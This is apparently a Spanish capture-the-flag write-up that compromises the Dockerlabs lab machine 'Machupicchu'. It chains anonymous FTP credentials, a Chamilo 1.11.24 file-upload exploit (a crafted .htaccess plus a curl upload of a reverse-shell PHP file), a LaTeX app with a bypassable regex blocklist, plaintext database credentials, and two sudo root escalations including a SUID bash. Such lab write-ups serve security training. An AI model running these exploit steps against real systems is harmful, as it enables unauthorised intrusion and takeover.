Machupicchu es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la máquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(user㉿sec)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for user: Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-29 22:53 CET Initiating ARP Ping Scan at 22:53 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 22:53, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:53 Scanning 172.17.0.2 [65535 ports] Discovered open port 21/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Discovered open port 6300/tcp on 172.17.0.2 Completed SYN Stealth Scan at 22:53, 0.67s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000050s latency). Scanned at 2025-03-29 22:53:01 CET for 0s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p21,80 172.17.0.2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-29 22:54 CET Nmap scan report for chamilo.dl (172.17.0.2) Host is up (0.000036s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxr-xr-x 1 0 0 96 Mar 26 19:44 alumno.txt | ftp-syst: | STAT: | FTP server status: | Connected to 172.17.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-generator: Chamilo 1 |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Trr0r - Trr0r Academy | http-robots.txt: 12 disallowed entries | /app/ /bin/ /documentation/ /home/ /main/ /plugin/ | /tests/ /vendor/ /license.txt /README.txt /whoisonline.php |_/whoisonlinesession.php | http-git: | 172.17.0.2:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Remotes: | https://github.com/chamilo/chamilo-lms |_ Project type: PHP application (guessed from .gitignore) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds |
Entramos en el puerto 21 usando las credenciales de anonymous y nos encontramos con un fichero.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(user㉿sec)-[~] └─$ ftp 172.17.0.2 Connected to 172.17.0.2. 220 (vsFTPd 3.0.5) Name (172.17.0.2:user): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||56181|) 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 96 Mar 26 19:44 alumno.txt 226 Directory send OK. ftp> get alumno.txt local: alumno.txt remote: alumno.txt 229 Entering Extended Passive Mode (|||43402|) 150 Opening BINARY mode data connection for alumno.txt (96 bytes). 100% |***********************************************************************************************************************************************************************************************| 96 1.66 MiB/s 00:00 ETA 226 Transfer complete. 96 bytes received in 00:00 (212.58 KiB/s) ftp> ftp> ^D 221 Goodbye. ┌──(user㉿sec)-[~/Downloads] └─$ cat alumno.txt Estas son tus credenciales para el acceso como alumno al curso de Hacking Web: pepico:P@ssw0rd1 |
Ahora es el turno del puerto 80, para el cual tendremos que añadir en el fichero /etc/hosts, el dominio chamilo.dl, que como el nombre indica, es un sistema de gestion de aprendizaje llamado chamilo.

Como tenemos unas credenciales de alumno, hacemos login con el usuario pepico y apuntamos las cookies del usuario «ch_sid»

El siguiente paso, dado que no esta simple vista, es revisar qué version de chamilo es la que se esta ejecutando, así que iremos al recurso de documentation.

Una vez sabemos que la version es la 1.11.24, buscando exploits, nos encontraremos al menos 4 ( CVE-2023-4220, CVE-2023-4221, CVE-2023-4222, CVE-2023-4223), todos sin autenticar.
Tras probarlos, vemos que el CVE-2023-4224 es el que nos funciona por lo que seguimos la poc que nos comenta esta web , con el tendremos una subida de fichero para tener un RCE.
Lo primero que tenemos que saber es cómo se llama el curso en el que estamos registrados, y esto lo podemos ver una vez hecho login en la url del curso haciendo hovering o directamente en el codigo fuente. ( HW )
![]()
Tras esto, seguimos con los pasos que indica la poc:
|
1 2 3 4 5 6 7 8 |
$ cat << 'EOF' > .htaccess php_flag engine on AcceptPathInfo on <FilesMatch ".+"> order allow,deny allow from all </FilesMatch> EOF |
El fichero que subamos será directamente una reverse shell, así que solo nos queda ejecutar el siguiente comando.
|
1 2 3 |
┌──(user㉿sec)-[~] └─$ curl -b 'ch_sid=mb80udcov0kklol4ip93c5i22g' -F 'files[0]=@rce.php' -F 'files[1]=@.htaccess' 'http://chamilo.dl/main/inc/ajax/document.ajax.php?a=upload_file&chunkAction=send' {"files":{"files":{"name":["rce.php",".htaccess"],"full_path":["rce.php",".htaccess"],"type":["application\/octet-stream","application\/octet-stream"],"tmp_name":["\/tmp\/phpPm5iP3","\/tmp\/php7b5snT"],"error":[0,0],"size":[133,127]}},"errorStatus":0} |
Esto nos indica que se ha subido con éxito, por lo que como último paso, hacermos un curl al dichero subido.
|
1 2 |
┌──(user㉿sec)-[~] └─$ curl http://chamilo.dl/app/cache/rce.php |
Teniendo nc en escucha, recibimos la reverse shell
|
1 2 3 4 5 6 7 8 9 10 |
┌──(user㉿sec)-[~] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [172.17.0.2] 51604 Linux 4fa8706391f2 6.10.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.10.9-1kali1 (2024-09-09) x86_64 x86_64 x86_64 GNU/Linux 19:03:42 up 1 day, 3:35, 0 user, load average: 1.16, 1.17, 1.32 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Despues de hacer una busqueda manual, vemos que solo existe el usuario «trr0r» y root y que este primero tiene un proceso corriendo
|
1 |
trr0r 337 0.0 0.0 40820 31516 ? S 18:01 0:00 python3 /opt/latexapp/app.py |
A partir de aquí, tenemos 2 formas de escalar al usuario:
1 – En el fichero app.py tenemos lectura por lo que nos damos cuenta de que esta usando latex en el puerto 6200 interno.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
www-data@4fa8706391f2:/opt/latexapp$ cat app.py from flask import Flask, request, send_file, render_template, url_for import os, re, subprocess app = Flask(__name__) # Definir un directorio seguro dentro del proyecto para trabajar con archivos temporales WORK_DIR = "/opt/latexapp/working_dir" os.makedirs(WORK_DIR, exist_ok=True) # Crear el directorio si no existe BLOCKED_PATTERNS = [ r"\\input", r"\\include", r"\\write", r"\\openout" ] def is_malicious_latex(latex_code): """Verifica si el código LaTeX contiene patrones peligrosos""" for pattern in BLOCKED_PATTERNS: if re.search(pattern, latex_code): return True return False @app.route("/") def home(): return render_template("index.html") @app.route("/render", methods=["POST"]) def render_pdf(): latex_code = request.form.get("formula", "") # Validación de seguridad if is_malicious_latex(latex_code): return "¡Entrada no permitida!", 400 latex_template = f""" \\documentclass{{article}} \\usepackage{{amsmath}} \\begin{{document}} {latex_code} \\end{{document}} """ tex_file = os.path.join(WORK_DIR, "output.tex") pdf_file = os.path.join(WORK_DIR, "output.pdf") # Escribir el archivo .tex en el directorio seguro with open(tex_file, "w") as f: f.write(latex_template) # Ejecutar pdflatex con manejo de errores subprocess.run( ["pdflatex", "--shell-escape" ,"-output-directory", WORK_DIR, tex_file], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) # Verificar si el PDF se generó correctamente antes de moverlo if not os.path.exists(pdf_file): return "Error generando el PDF", 500 # Mover el archivo PDF a la carpeta estática dest_pdf_path = "/opt/latexapp/static/pdfs/output.pdf" os.makedirs("/opt/latexapp/static/pdfs", exist_ok=True) # Asegurar que la carpeta existe os.rename(pdf_file, dest_pdf_path) return render_template("result.html") if __name__ == "__main__": app.run(host="127.0.0.1", port=6200) |
Usamos socat para crear una escucha y la maquina victima y que desde nuestra maquina podamos acceder via web.
|
1 2 |
www-data@4fa8706391f2:/tmp$ ./socat TCP-LISTEN:6300,fork TCP4:127.0.0.1:6200 & [1] 887 |
Viendo la web, vemos que espera un input, y a partir de este , se genere un pdf.

Como hemos visto anteriormente en el código, hay palabras que están en blacklist así que la mayoría no nos van a funcionar, bloqueando su ejecucion, como para casi todo, esto se puede bypassear.

La cual nos va a dar una reverse shell como el usuario trr0r
2 – Si investigamos los ficheros de chamilo, existe uno en el cual podemos ver unas credenciales para la base de datos:
|
1 2 3 4 5 6 7 8 |
www-data@4fa8706391f2:/opt/latexapp$ cat /var/www/chamilo.dl/app/config/configuration.php |grep db_ $_configuration['db_host'] = '127.0.0.1'; $_configuration['db_port'] = '3306'; $_configuration['db_user'] = 'trr0r'; $_configuration['db_password'] = 'admiñçtrr0r'; $_configuration['db_manager_enabled'] = false; //$_configuration['session_stored_in_db_as_backup'] = true; //$_configuration['sync_db_with_schema'] = false; |
Con ambas formas de escalada, nos convertimos en el usuario trr0r.
|
1 2 3 4 5 6 7 8 |
www-data@4fa8706391f2:/opt/latexapp$ su trr0r Password: trr0r@4fa8706391f2:/opt/latexapp$ sudo -l Matching Defaults entries for trr0r on 4fa8706391f2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User trr0r may run the following commands on 4fa8706391f2: (ALL) NOPASSWD: /usr/bin/chash |
La escalada a root tambien tiene al menos 2 formas
1 – Teniendo sudo para el fichero chash, leyendo la ayuda, podemos percaternos de un modo para abrir una cli en sql y poder escalar ejecutando un comando
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
trr0r@4fa8706391f2:/opt/latexapp$ sudo /usr/bin/chash db:sql_cli --conf=/var/www/chamilo.dl/app/config/configuration.php Starting Chamilo SQL cli mysql: [Warning] Using a password on the command line interface can be insecure. Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1628 Server version: 8.0.41-0ubuntu0.24.04.1 (Ubuntu) Copyright (c) 2000, 2025, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> \! id uid=0(root) gid=0(root) groups=0(root) mysql> \! bash -p root@4fa8706391f2:/opt/latexapp# |
2 – Comprobamos que el fichero con el que tenemos permiso de sudo, tiene escritura para el grupo trr0r, asi que solo tenemos que inyectarle la forma que queramos para escalar a root.
|
1 2 3 4 5 6 7 8 9 10 11 |
trr0r@4fa8706391f2:/opt/latexapp$ ls -l /usr/bin/chash -rwxrwxr-x 1 root trr0r 31081158 mar 26 18:51 /usr/bin/chash rr0r@4fa8706391f2:/opt/latexapp$ echo "chmod +s /bin/bash" > /usr/bin/chash trr0r@4fa8706391f2:/opt/latexapp$ sudo /usr/bin/chash trr0r@4fa8706391f2:/opt/latexapp$ ls -l /bin/bash -rwsr-sr-x 1 root root 1446024 mar 31 2024 /bin/bash rr0r@4fa8706391f2:/opt/latexapp$ bash -p bash-5.1# |
Y hasta aqui la maquina Machupicchu !










